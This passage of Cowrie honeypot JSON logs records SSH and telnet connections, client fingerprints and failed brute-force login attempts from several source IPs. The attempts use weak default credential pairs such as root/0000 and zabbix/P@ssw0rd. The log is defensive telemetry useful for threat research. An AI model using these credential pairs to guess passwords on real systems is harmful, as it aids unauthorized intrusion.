{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40958,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad9bea3d4ac7","protocol":"telnet","message":"New connection: 128.199.8.54:40958 (159.203.135.109:23) [session: ad9bea3d4ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:26.934263Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":56282,"dst_ip":"10.17.0.5","dst_port":22,"session":"7510fbc8d1ce","protocol":"ssh","message":"New connection: 197.5.145.150:56282 (10.17.0.5:22) [session: 7510fbc8d1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:27.879051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:27.883892Z","src_ip":"197.5.145.150","session":"7510fbc8d1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:28.004741Z","src_ip":"197.5.145.150","session":"7510fbc8d1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.058635234832764,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:28.387931Z","src_ip":"172.81.62.90","session":"60f9da9e3ff3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:28.515921Z","src_ip":"197.5.145.150","session":"7510fbc8d1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56018,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d3b4ac0f165","protocol":"ssh","message":"New connection: 141.11.88.14:56018 (10.17.0.5:22) [session: 6d3b4ac0f165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:28.687469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:28.949571Z","src_ip":"141.11.88.14","session":"6d3b4ac0f165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:28.954829Z","src_ip":"141.11.88.14","session":"6d3b4ac0f165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:29.645859Z","src_ip":"197.5.145.150","session":"7510fbc8d1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"P@ssw0rd","message":"login attempt [zabbix/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:29.686901Z","src_ip":"141.11.88.14","session":"6d3b4ac0f165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:30.771431Z","src_ip":"141.11.88.14","session":"6d3b4ac0f165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":40150,"dst_ip":"159.203.135.109","dst_port":22,"session":"8246edad5091","protocol":"ssh","message":"New connection: 103.122.221.179:40150 (159.203.135.109:22) [session: 8246edad5091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:34.280333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:34.284959Z","src_ip":"103.122.221.179","session":"8246edad5091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:34.526951Z","src_ip":"103.122.221.179","session":"8246edad5091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"auburn","message":"login attempt [root/auburn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:35.258456Z","src_ip":"103.122.221.179","session":"8246edad5091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:36.503277Z","src_ip":"103.122.221.179","session":"8246edad5091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56078,"dst_ip":"10.17.0.5","dst_port":22,"session":"7605c5505b6a","protocol":"ssh","message":"New connection: 141.11.88.14:56078 (10.17.0.5:22) [session: 7605c5505b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:36.696652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:37.034847Z","src_ip":"141.11.88.14","session":"7605c5505b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:37.038399Z","src_ip":"141.11.88.14","session":"7605c5505b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:37.785036Z","src_ip":"141.11.88.14","session":"7605c5505b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:38.918717Z","src_ip":"141.11.88.14","session":"7605c5505b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52348,"dst_ip":"159.203.135.109","dst_port":23,"session":"d29786846f4d","protocol":"telnet","message":"New connection: 128.199.8.54:52348 (159.203.135.109:23) [session: d29786846f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:44.280603Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17686,"dst_ip":"10.17.0.5","dst_port":22,"session":"03ff05c6c081","protocol":"ssh","message":"New connection: 141.11.88.14:17686 (10.17.0.5:22) [session: 03ff05c6c081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:44.500753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:44.578288Z","src_ip":"141.11.88.14","session":"03ff05c6c081","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:44.849538Z","src_ip":"141.11.88.14","session":"03ff05c6c081","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:45.251588Z","src_ip":"141.11.88.14","session":"03ff05c6c081","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:46.570925Z","src_ip":"141.11.88.14","session":"03ff05c6c081","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":35150,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9811a9ccdf0","protocol":"ssh","message":"New connection: 141.11.88.14:35150 (10.17.0.5:22) [session: a9811a9ccdf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:51.218175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:51.470475Z","src_ip":"141.11.88.14","session":"a9811a9ccdf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:51.474116Z","src_ip":"141.11.88.14","session":"a9811a9ccdf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eva","password":"eva","message":"login attempt [eva/eva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:52.841777Z","src_ip":"141.11.88.14","session":"a9811a9ccdf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:54.142427Z","src_ip":"141.11.88.14","session":"a9811a9ccdf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":37164,"dst_ip":"10.17.0.5","dst_port":22,"session":"6831f568c314","protocol":"ssh","message":"New connection: 197.5.145.150:37164 (10.17.0.5:22) [session: 6831f568c314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:56.929884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:56.934929Z","src_ip":"197.5.145.150","session":"6831f568c314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:57.042511Z","src_ip":"197.5.145.150","session":"6831f568c314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101010","message":"login attempt [root/101010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:57.510938Z","src_ip":"197.5.145.150","session":"6831f568c314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":16156,"dst_ip":"10.17.0.5","dst_port":22,"session":"1df3a9e635a4","protocol":"ssh","message":"New connection: 141.11.88.14:16156 (10.17.0.5:22) [session: 1df3a9e635a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:57.892524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:57.901897Z","src_ip":"141.11.88.14","session":"1df3a9e635a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:57.997073Z","src_ip":"141.11.88.14","session":"1df3a9e635a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:58.625397Z","src_ip":"197.5.145.150","session":"6831f568c314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"1234","message":"login attempt [bot/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:58.789294Z","src_ip":"141.11.88.14","session":"1df3a9e635a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:05:59.992624Z","src_ip":"141.11.88.14","session":"1df3a9e635a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":16208,"dst_ip":"10.17.0.5","dst_port":22,"session":"706e3661ddf7","protocol":"ssh","message":"New connection: 141.11.88.14:16208 (10.17.0.5:22) [session: 706e3661ddf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:04.935957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:06:05.020544Z","src_ip":"141.11.88.14","session":"706e3661ddf7","protocol":"ssh"}
